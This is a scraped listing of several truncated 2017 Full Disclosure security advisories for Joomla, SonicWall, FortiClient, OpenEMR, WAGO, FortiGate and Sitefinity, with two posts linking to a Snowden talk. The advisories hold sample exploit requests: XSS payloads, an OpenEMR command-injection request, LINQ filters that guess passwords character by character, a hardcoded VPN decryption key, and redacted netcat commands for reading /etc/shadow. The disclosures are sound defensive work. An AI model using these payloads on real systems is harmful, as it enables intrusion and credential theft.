dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] X-Powered-By[PHP/7.0.9] P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] Reference(s): http://joomla.localhost:8080/ http://joomla.localhost:8080/index.php http://joomla.localhost:8080/index.php?option= http://joomla.localhost:8080/index.php?option=com_adagency http://joomla.localhost:8080/index.php?option=com_adagency&controller http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status http://joomla.localhost:8080/administrator/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status Solution - Fix & Patch: === The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters in the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation of the vulnerabilities. Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4. Security Risk: == The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1). Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purp
[FD] Icyphoenix 2.2.0.105 - Multiple SQL Injection Vulnerabilities
Solution - Fix & Patch: === Escape and parse the vulnerable parameters and use a prepared statment to protect the sql query. Restrict the input and filter to disallow the usage of special chars to prevent further attacks. Disallow to display the sql error logs by deactivate of the function for the default cms configuration. Note: The issues are known as resolved within the last version updates during 2017. Security Risk: == The security risk of the remote sql-injection vulnerabilities in the content management system are estimated as medium (CVSS 5.0). Credits & Authors: == Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SonicWall SonicOS NSA UTM Firewall - Bypass & Persistent Vulnerability
22%26lt%3Bimg+src%3D%22x%22%26gt%3B%2520%2520%26gt%3B%22%26lt%3Biframe+src%3Da%26gt%3B%2520%26lt%3Biframe%26gt%3B] refresh_page[securityServicesCFView.html] tableIndex[-1] cgiaction[%5Bobject+Window%5D] --- PoC Session Logs (POST) [Inject] #2 --- Status: pending[] POST https://utm_waf.sonicwall.localhost:8351/main.cgi Mime Type[unknown] Request Header: Host[utm_waf.sonicwall.localhost:8351] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://utm_waf.sonicwall.localhost:8351/gavCloudExclusions.html] Cookie[curUrl=gavSummary.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0; 2039=local; 2040=%7B%22refreshTime%22%3A3%2C%22 showTimeRange%22%3A10%2C%22refreshEnable%22%3Atrue%2C %22viewApplications%22%3A1%2C%22viewBandwidth%22%3A1%2C%22viewPktRate%22%3A1%2C%22viewPktSize%22%3A1%2C%22 viewConnRate%22%3A1%2C%22viewConnCount%22%3A1%2C%22viewCoreMonitor%22%3A1%2C%22displayBandwidth%22%3A%22bwSelRate%22%2C %22displayPktRate%22%3A%22pktRateSelRate%22%2C%22displayPktSize%22%3A%22pktSizeSelRate%22%2C%22displayConnRate%22%3A%22 connRateSelRate%22%2C%22displayConnCount%22%3A%22connCountSelCount%22%2C%22ipVerBandwidth%22%3A%222%22%2C %22ipVerApps%22%3A%222%22%2C%22showMostFrequentApps%22%3Afalse%2C%22inChartAppLegends%22%3Afalse%2C%22hideAppLegends%22%3Atrue%2C%22inChartBwLegends %22%3Afalse%2C%22hideBwLegends%22%3Atrue%2C%22hidePktRateLegends%22%3Atrue%2C %22hidePktSizeLegends%22%3Atrue%2C%22hideConnRateLegends%22%3Atrue%2C%22hideConnCountLegends%22%3Atrue%2C%22hideAppChart%22%3Afalse%2C%22hideBwChart %22%3Afalse%2C%22hidePktRateChart%22%3Afalse%2C%22hidePktSizeChart%22%3Afalse%2C %22hideConnRateChart%22%3Afalse%2C%22hideConnCountChart%22%3Afalse%2C%22hideCoreMonChart%22%3Afalse%2C%22hideMemoryMonChart%22%3Afalse%2C%22rtAppColors %22%3A%5B%22%23081D58%22%2C%22%23253494%22%2C%22%23225EA8%22%2C%22%231D91C0%22%2C %22%2341B6C4%22%2C%22%237FCDBB%22%2C%22%23C7E9B4%22%2C%22%23EDF8B1%22%2C%22%23D9%22%5D%2C%22rtDataColors %22%3A%5B%22%23E41A1C%22%2C%22%23377EB8%22%2C%22%234DAF4A%22%2C%22%23984EA3%22%2C%22%23FF7F00%22%2C%22%2333%22%2C %22%23A65628%22%2C%22%23F781BF%22%2C%22%2399%22%2C%22%235A6B34%22%2C%22%23F0D64E%22%2C%22%23D7B740%22%2C%22%23AB80 24%22%2C%22%23925818%22%2C%22%23DB5A6E%22%2C%22%23071D69%22%2C%22%230A1650%22%2C%22%234571DA%22%2C%22%23E18B5C%22%2C %22%23028482%22%2C%22%237ABA7A%22%2C%22%23B76EB8%22%5D%2C%22useGradient%22%3Atrue%7D] POST-Daten: csrfToken[???] inputbox[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E] list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E] gav_cloud_exclude_list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E] gav_cloud_refresh_exclusions[] refresh_page[gav_cloud.html] isobject[1] cgiaction[%5Bobject+Window%5D] Reference(s): https://utm_waf.sonicwall.localhost:8351/main.cgi https://utm_waf.sonicwall.localhost:8351/gavCloudExclusions.html https://utm_waf.sonicwall.localhost:8351/addTrustedDomainDlg.html Solution - Fix & Patch: === The vulnerability can be patched by setting up a secure validation for the update inputbox save procedure. Use the same as on the add procedure. Encode the context and disallow usage of special chars in the item list when processing to add. Parse the context and filter the input next to the permanent save that finally displays the context in the main item list to prevent an application-side script code execution. Note: The vulnerabilities has been reported to the dell security team. The issue has been resolved to 2016Q4 - 2017Q4 by the sonicwall developers. Security Risk: == The security risk of the application-side input validation web vulnerability and the filter bypass issue are estimated as medium (CVSS 4.5). Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allo
[FD] SEC Consult SA-20171213-0 :: VPN credentials disclosure in Fortinet FortiClient
SEC Consult Vulnerability Lab Security Advisory < 20171213-0 > === title: VPN credentials disclosure product: Fortinet FortiClient vulnerable version: <4.4.2335 on Linux, <5.6.1 on Windows, <5.6.1 on Mac OSX fixed version: 4.4.2335 on Linux, 5.6.1 on Windows, 5.6.1 on Mac OS X CVE number: CVE-2017-14184 impact: High homepage: https://www.fortinet.com/ | http://forticlient.com/ found: 2017-08-29 by: M. Li (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "From the start, the Fortinet vision has been to deliver broad, truly integrated, high-performance security across the IT infrastructure. We provide top-rated network and content security, as well as secure access products that share intelligence and work together to form a cooperative fabric. Our unique security fabric combines Security Processors, an intuitive operating system, and applied threat intelligence to give you proven security, exceptional performance, and better visibility and control--while providing easier administration." Source: https://www.fortinet.com/corporate/about-us/about-us.html Business recommendation: The patched FortiClient versions should be installed immediately as the VPN credentials could be decrypted by an attacker. Vulnerability overview/description: --- FortiClient stores the VPN authentication credentials in a configuration file (on Linux or Mac OSX) or in registry (on Windows). The credentials are encyrpted but can still be recovered since the decryption key is hardcoded in the program and the same on all installations. Above all, the aforementioned storage is world readable, which actually lays the foundation for the credential recovery. Proof of concept: - 1) Hardcoded key The hardcoded key can be disclosed on the Linux version by issuing the following command: $ strings forticlientsslvpn |grep "fc_1A" fc_1A2Brown3Fox4Jumped5Over6A7Lazy8Dog The same decryption key can be found in the Windows and Mac OSX binary. 2) Overly permissive access control The read access of the configuration file is set for "others" too, making the file world-readable. On Mac OSX, the file can be found under /Library/Application Support/Fortinet/FortiClient/conf/vpn.plist while the same dataset is stored in the registry key HKLM\SOFTWARE\WOW6432Node\Fortinet\FortiClient\Sslvpn\Tunnels on Windows, which is world-readable for all users as well. $ ls -l /home/user/.fctsslvpnhistory -rw-rw-rw- 1 root root 1227 Aug 23 12:26 .fctsslvpnhistory $ cat /home/user/.fctsslvpnhistory ... profile=demo p12passwdenc=Enc 420d2ee65abded897a69c50f4995397969f1c1f949055d8e51 path= passwordenc=Enc 420d2ee65abded897a69c50f49956909f61e3e549873cdfecf12bafdfa7b78f789a17ba1a5a6c9eb1803 user=li port=443 server=server.com ... Combining the two issues, an attacker can steal the password of any user who has a FortiClient profile on the system. In an enterprise environment, where employees usually log onto VPN server with their domain credentials, a vicious employee can extensively harvest the credentials of colleagues by logging onto the workstation where the credentials have been stored. Hence an attacker might steal credentials of any user in the domain and gain access to their user account (e.g. emails, other private data). SEC Consult developed a proof of concept tool which takes as input the encrypted string, and prints the decrypted hexdecimal bytes followed by the recovered password. For now, this tool will not be released to give users more time to patch. $ kr 420d2ee65abded897a69c50f49956909f61e3e549873cdfecf12bafdfa7b78f789a17ba1a5a6c9eb1803 0x50 0x61 0x73 0x73 0x77 0x6f 0x72 0x64 0x52 0x65 0x63 0x6f 0x76 0x65 0x72 0x65 0x64 0x00 PasswordRecovered The advisory on our website also contains further detailed technical information with screenshots: https://www.sec-consult.com/en/blog/advisories/vpn-credentials-disclosure-in-fortinet-forticlient/index.html Vulnerable / tested versions: - The vulnerabilities have been identified in version 4.4.2332 on Linux, version 5.6.0.1075 on Windows as well as version 5.6.0.703 on Mac OSX, which were the latest version of the product at the audit time to our best knowledge. Vendor contact timeline: 2017-08-30: Contacting vendor through ps...@fortinet.c
Re: [FD] Edward Snowden free speech at JBFone - Future, Data Security & Privacy
UPDATE Reference(s): http://www.focus.de/digital/handy/iphone/apple-edward-snowden-warnt-vor-iphone-x-besonders-eine-funktion-ist-gefaehrlich_id_7921720.html http://www.chip.de/news/Beruehmtester-Hacker-der-Welt-warnt-Im-iPhone-X-steckt-eine-gefaehrliche-Funktion_128162181.html http://www.t-online.de/digital/handy/id_82783158/iphone-x-edward-snowden-warnt-vor-apples-face-id.html https://www.heise.de/newsticker/meldung/Snowden-warnt-vor-Big-Data-Biometrie-und-dem-iPhone-X-3899649.html https://www.netzwelt.de/news/162899-edward-snowden-muenchen-vorsicht-face-id-iphone-x.html http://www.augsburger-allgemeine.de/digital/Fehler-in-iOS-Apple-empfiehlt-Nutzern-ein-Update-auf-iOS-11-2-id42863076.html https://www.derstandard.de/story/268413551/snowden-warnt-vor-dem-iphone-x http://www.finanzen.net/nachricht/aktien/datenschutz-gefaehrliche-funktion-whistleblower-edward-snowden-warnt-vor-apples-supersmartphone-5835184 https://www.nzz.ch/digital/snowden-warnt-vor-gesichtserkennung-ld.1332209 http://winfuture.de/news,100724.html http://www.chip.de/news/Beruehmtester-Hacker-der-Welt-warnt-Im-iPhone-X-steckt-eine-gefaehrliche-Funktion_128162181.html http://www.silicon.de/41663743/iphone-x-snowden-kritisiert-freigabe-von-face-id-fuer-entwickler/?inf_by=5a1d649b681db8db1e8b49ee http://www.zdnet.de/88319443/iphone-x-snowden-kritisiert-freigabe-von-face-id-fuer-entwickler/ https://curved.de/news/iphone-x-snowden-findet-face-id-freigabe-fuer-entwickler-unverantwortlich-552267 https://utopia.de/edward-snowden-iphone-x-datenschutz-71335/ https://www.appticker.de/news/smartphone-news/edward-snowden-face-id-fuer-entwickler-freizugeben-war-ein-fehler-7994.html https://apfeleimer.de/2017/11/snowden-die-face-id-gehoert-nicht-in-entwicklerhaende-video http://www.netz-trends.de/id/7896/Edward-Snowden-warnt-vor-Gesichtserkennungssoftware-im-iPhone-X/ http://www.giga.de/smartphones/iphone-x/news/iphone-x-deshalb-warnt-edward-snowden-vor-dem-apple-handy/ http://www.manager-magazin.de/unternehmen/it/iphone-x-edward-snowden-warnt-vor-face-id-a-1180482.html http://www.connect.de/news/iphone-x-face-id-snowden-warnt-missbrauch-3197965.html http://seclists.org/fulldisclosure/2017/Nov/38 https://www.vulnerability-db.com/?q=articles%2F2017%2F11%2F23%2Fedward-snowden-free-speech-jbfone-data-security-privacy #security #infosec #privacy #freespeech -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20171130-1 :: OS Command Injection & Reflected Cross Site Scripting in OpenEMR
SEC Consult Vulnerability Lab Security Advisory < 20171130-1 > === title: OS Command Injection & Reflected Cross Site Scripting product: OpenEMR vulnerable version: 5.0.0 fixed version: 5.0.0 Patch 2 or higher CVE number: - impact: Critical homepage: http://www.open-emr.org/ found: 2017-03-03 by: Wan Ikram (Office Kuala Lumpur) Fikri Fadzil (Office Kuala Lumpur) Jasveer Singh (Office Kuala Lumpur) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "OpenEMR is the most popular open source electronic health records and medical practice management solution. ONC certified with international usage, OpenEMR's goal is a superior alternative to its proprietary counterparts." Source: http://www.open-emr.org/ Business recommendation: By exploiting the vulnerability documented in this advisory, an attacker can fully compromise the web server which has OpenEMR installed. Potentially sensitive health care and medical data might get exposed through this attack. SEC Consult recommends not to attach OpenEMR to the network until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: --- 1. OS Command Injection Any OS commands can be injected by an authenticated attacker with any role. This is a serious vulnerability as the chance for the system to be fully compromised is very high. 2. Reflected Cross Site Scripting This vulnerability allows an attacker to inject malicious client side scripting which will be executed in the browser of users if they visit the manipulated site. There are different issues affecting various components. The flash component has not been fixed yet as OpenEMR is looking for a replacement component. Proof of concept: - 1. OS Command Injection Below is the detail of a HTTP request that needs to be sent to execute arbitrary OS commands through "fax_dispatch.php". URL : http://$DOMAIN/interface/fax/fax_dispatch.php?scan=x METHOD : POST PAYLOAD : form_save=1&form_cb_copy=1&form_cb_copy_type=1&form_images[]=x&form_ filename=''&form_pid=1 2. Reflected Cross Site Scripting The following URL parameters have been identified to be vulnerable against reflected cross site scripting: The following payload shows a simple alert message box: a) URL : http://$DOMAIN/library/openflashchart/open-flash-chart.swf METHOD : GET PAYLOAD : [PoC removed as no fix is available] b) URL : http://$DOMAIN/library/custom_template/ckeditor/_samples/assets/_posteddata.php METHOD : POST PAYLOAD : alert('xss');=SENDF Vulnerable / tested versions: - OpenEMR version 5.0.0 has been tested. This version was the latest at the time the security vulnerability was discovered. Vendor contact timeline: 2017-03-08: Contacting vendor through email. 2017-03-08: Vendor replied with his public key. Advisory sent through secure channel. 2017-03-17: Asked for a status update from the vendor. 2017-03-17: Vendor confirms the vulnerabilities and working on the fixes. 2017-03-31: Asked for a status update from the vendor. 2017-03-31: Vendor informed that they have fixed OS Command Injection and are currently working on fixes for Reflected Cross Site Scripting. 2017-04-25: Vendor requesting extension for deadline of 32 days from the latest possible release date. 2017-05-25: Asked for a status update from the vendor. 2017-05-29: Vendor informed that they are working on the fixes. 2017-06-06: Asked for a status update from the vendor. 2017-06-12: Vendor informed that they added solution into the development codebase. 2017-07-05: Asked for a status update from the vendor. 2017-07-10: Vendor informed patch is delayed due to another critical bug fixes. 2017-08-17: Asked for a status update from the vendor. No reply. 2017-08-24: Asked for a status update from the vendor. 2017-08-29: Vendor informed patch will be out soon. 2017-08-30: Asked vendor for specific release date for patch. No reply. 2017-09-08: Asked for a status update from the vendor. No reply. 2017-09-14: Asked for a status update from the vendor. 2017-09-18: Vendor informed that they are testing their patch. No estimation
[FD] SEC Consult SA-20171130-0 :: Critical CODESYS vulnerabilities in WAGO PFC 200 Series
SEC Consult Vulnerability Lab Security Advisory < 20171130-0 > === title: Critical CODESYS vulnerabilities product: WAGO PFC 200 Series, see "Vulnerable / tested versions" vulnerable version: plclinux_rt 2.4.7.0, see "Vulnerable / tested versions" fixed version: PFC200 FW11 CVE number: - impact: critical homepage: https://www.codesys.com found: 2017-07-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "The WAGO-I/O-SYSTEM is a flexible fieldbus-independent solution for decentralized automation tasks. With the relay, function and interface modules, as well as overvoltage protection, WAGO provides a suitable interface for any application." Source: http://global.wago.com/en/products/product-catalog/ components-automation/overview/index.jsp "The PFC family of controllers offers advanced compact, computing power for PLC programming and process visualization. Programmable in accordance with IEC 61131-3 600, PFC controllers feature a 600 MHz ARM Cortex A8 processor that offers high speed processing and support of 64 bit variables." Source: http://www.wago.us/products/components-for-automation/modular-io-system-series-750-753/programmable-fieldbus-controller/pfc200/index.jsp Business recommendation: Because of the use in industrial and safety-critical environments the patch has to be applied as soon as it is available. We explicitly point out to all users in this sector that this device series in the mentioned device series with firmware 02.07.07(10) should not be connected directly to the internet (or even act as gateway) since it is very likely that an attacker can compromise the whole network via such an device. SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals. Vulnerability overview/description: --- The "plclinux_rt" service accepts different unauthenticated actions. This vulnerability contains the architectural security problems described by Reid Wightman. The SDK of "plclinux_rt" is written by the same vendor (3S). Therefore, the file commands of "Digital Bond's 3S CODESYS Tools", created around 2012 are applicable. (See https://ics-cert.us-cert.gov/advisories/ICSA-13-011-01) The CODESYS command-line is protected with login credentials, that's why the shell of the mentioned tools does not provide root access out of the box. But after some investigation it was clear that there are further functions which are reachable without using the command-line and without any authentication. These functions in "plclinux_rt" can be triggered by sending the correct TCP payload on the bound port (by default 2455). Some of the triggerable functions are: * Arbitrary file read/write/delete (also covered by "Digital Bond's Tools") * Step over a function in the currently executed PLC program * Cycle step any function in the currently executed PLC program * Delete the current variable list of the currently executed PLC program * And more functions... Since SSH is activated by default, an unauthenticated attacker can rewrite "/etc/shadow" and gain root privileges easily via these attack vectors! 1) Critical Improper Authentication / Design Issue Files can be fetched, written and deleted. Running tasks on the PLC can be restarted, stepped and crashed. An attacker can therefore replace the password hash in the shadow file. A memory corruption (and potential reverse-shell) is also possible via arbitrary TCP packets. There are potentially more commands which can be triggered, but this was not covered by the short security crash test. Proof of concept: - As there is no patch available yet, the detailed proof of concept information has been removed from this advisory. 1) Critical Improper Authentication / Design Issue Two payloads are specified here as proof of concept for file manipulation. Four payloads for live program manipulation are also listed. File read and delete without any authentication. Read "/etc/shadow": echo '[PoC removed]' | xxd -r -p | nc Delete "/etc/test": echo '[PoC removed]' | xxd -r -p | nc Runnning PLC tasks could be modified with the following payloads: Step over functi
[FD] SEC Consult SA-20171129-0 :: FortiGate SSL VPN Portal XSS Vulnerability
SEC Consult Vulnerability Lab Security Advisory < 20171129-0 > === title: FortiGate SSL VPN Portal XSS Vulnerability product: Fortinet FortiOS vulnerable version: see: Vulnerable / tested versions fixed version: see: Solution CVE number: CVE-2017-14186 impact: Medium homepage: https://www.fortinet.com found: 2017-10-02 by: Stefan Viehböck (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "From the start, the Fortinet vision has been to deliver broad, truly integrated, high-performance security across the IT infrastructure. We provide top-rated network and content security, as well as secure access products that share intelligence and work together to form a cooperative fabric. Our unique security fabric combines Security Processors, an intuitive operating system, and applied threat intelligence to give you proven security, exceptional performance, and better visibility and control--while providing easier administration." Source: https://www.fortinet.com/corporate/about-us/about-us.html Vulnerability overview/description: --- The FortiGate SSL VPN Portal is prone to a reflected cross-site scripting (XSS) vulnerability. The HTTP GET parameter "redir" is vulnerable. An attacker can exploit this vulnerability by tricking a victim to visit a URL. The attacker is able to hijack the session of the attacked user, and use this vulnerability in the course of spear-phishing attacks, e.g. by displaying a login prompt that sends credentials of victim back to the attacker. Note: This vulnerability is also an open redirect and is very similar to a vulnerability that was fixed in FortiOS in March 2016 (FG-IR-16-004). https://www.fortiguard.com/psirt/fortios-open-redirect-vulnerability Proof of concept: - The following request exploits the issue: https://vpn..com/remote/loginredir?redir=javascript:alert(%22XSS%20%22%2Bdocument.location) The server responds with a page that looks as follows: --- document.location=decodeURIComponent("javascript%3Aalert%28%22XSS%20%22%2Bdocument.location%29"); --- Vulnerable / tested versions: - FortiOS 5.6.0 -> 5.6.2 FortiOS 5.4.0 -> 5.4.6 FortiOS 5.2.0 -> 5.2.12 FortiOS 5.0 and below More information can be found at: https://fortiguard.com/psirt/FG-IR-17-242 Vendor contact timeline: 2017-10-02: Contacting vendor through ps...@fortinet.com 2017-10-03: Vendor confirms vulnerability, assigns CVE-2017-14186. Expected fix in version 5.6.3 2017-11-23: Vendor provides update 2017-11-29: Coordinated public release of advisory Solution: - FortiOS 5.6 branch: Upgrade to upcoming 5.6.3 (ETA: November 27th) FortiOS 5.4 branch: Upgrade to 5.4.6 special build (*) or upcoming 5.4.7 (ETA Dec 7th) FortiOS 5.2 branch: Upgrade to 5.2.12 special build (*) or upcoming 5.2.13 (ETA: Dec 14th) More information can be found at: https://fortiguard.com/psirt/FG-IR-17-242 Workaround: --- Not available. Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices http
[FD] Edward Snowden free speech at JBFone - Future, Data Security & Privacy
Title: Edward Snowden free speech at JBFone - Future, Data Security & Privacy Article: https://www.vulnerability-db.com/?q=articles%2F2017%2F11%2F23%2Fedward-snowden-free-speech-jbfone-data-security-privacy Video: https://www.youtube.com/watch?v=JF45xq0W15c Press: https://www.heise.de/newsticker/meldung/Snowden-warnt-vor-Big-Data-Biometrie-und-dem-iPhone-X-3899649.html -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20171116-0 :: Broken access control & LINQ injection in Progress Sitefinity
SEC Consult Vulnerability Lab Security Advisory < 20171116-0 > === title: Broken access control & LINQ injection product: Progress Sitefinity vulnerable version: 10.0, 10.1 fixed version: >=10.1.6527.0 (internal build), 10.2 CVE number: - impact: High homepage: http://www.sitefinity.com | https://www.progress.com found: 2017-08-21 by: M. Li (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Progress Sitefinity is a content management and marketing analytics platform designed to maximize the agility needed to succeed in today’s rapidly changing digital marketplace. It provides developers and IT teams the tools they need to support enterprise-level digital marketing, optimizing the customer journey by delivering seamless personalized experiences across different technologies and devices. Progress is a trusted source for the digital marketing innovation needed to create transformative customer experiences that fuel business success." Source: http://www.sitefinity.com/about Business recommendation: SEC Consult recommends applying the provided patches by the vendor immediately. Additionally, there are strong indications for further vulnerabilities and it is highly suggested to perform a thorough security review by security professionals to lower the risk of using this product. Vulnerability overview/description: --- 1) Broken Access Control By using an unprotected function, a low privileged user can extract another user's information such as email addresses, user ID, etc. 2) LINQ Injection The identified LINQ injection enables an authenticated user to read sensitive data from the database. Specifically, an attacker can query the password or its hash character by character. Depending on the version of LINQ assembly in use, remote code execution could be possible as well. Combining the two issues, a user could escalate her privileges. Proof of concept: - 1) Broken Access Control A user with a low privileged role e.g. "BackendUsers" can obtain other users' information including email, userid etc., which is not intended for a user with this role. The function disclosing the information is "GenericItemsService.svc" laid under path "Common", which is in general not protected based on the role. GET /Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser HTTP/1.1 Host: [host] ...snip... HTTP/1.1 200 OK ...snip... { "Context":null, "IsGeneric":false, "Items":[ ...snip... { ...snip... "Email":"te...@local.host", ...snip... ], "UserID":"cb21e9a9-992c-4f8f-9800-b03c9639b02a" } ], "TotalCount":3 } 2) LINQ Injection The aforementioned function "GenericItemsService.svc", which can be invoked by any authenticated user regardless of her privilege, can be augmented by the parameter "filter", narrowing down the user list. However, this parameter does not undergo any sanitization hence properties like "password" can be queried character by character. For instance, the request in example 1 is asking the server whether any user has the password containing "2klv". Upon a correct guess, the reply contains matching users' attributes. By sending multiple such queries, an attacker can deduce the user's password hash, salt, etc. In example 2, function "Users.svc" can be used only by users with administrator privilege. It could also be possible to extract the password in cleartext, if the default setting for membership format is changed. Furthermore, depending on the third party assembly System.Linq, the issue could be abused to execute code on the server. Example 1: GET /Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser&filter=(password.ToUpper().Contains(%222klv%22.ToUpper())) HTTP/1.1 Example 2: GET /Sitefinity/Services/Security/Users.svc/?roleId=&roleProvider=&forAllProviders=false&filter=(salt.ToUpper().Contains(%225
[FD] SEC Consult SA-20171114-0 :: Authentication bypass, cross-site scripting & code execution in Siemens SICAM RTUs SM-2556 COM Modules
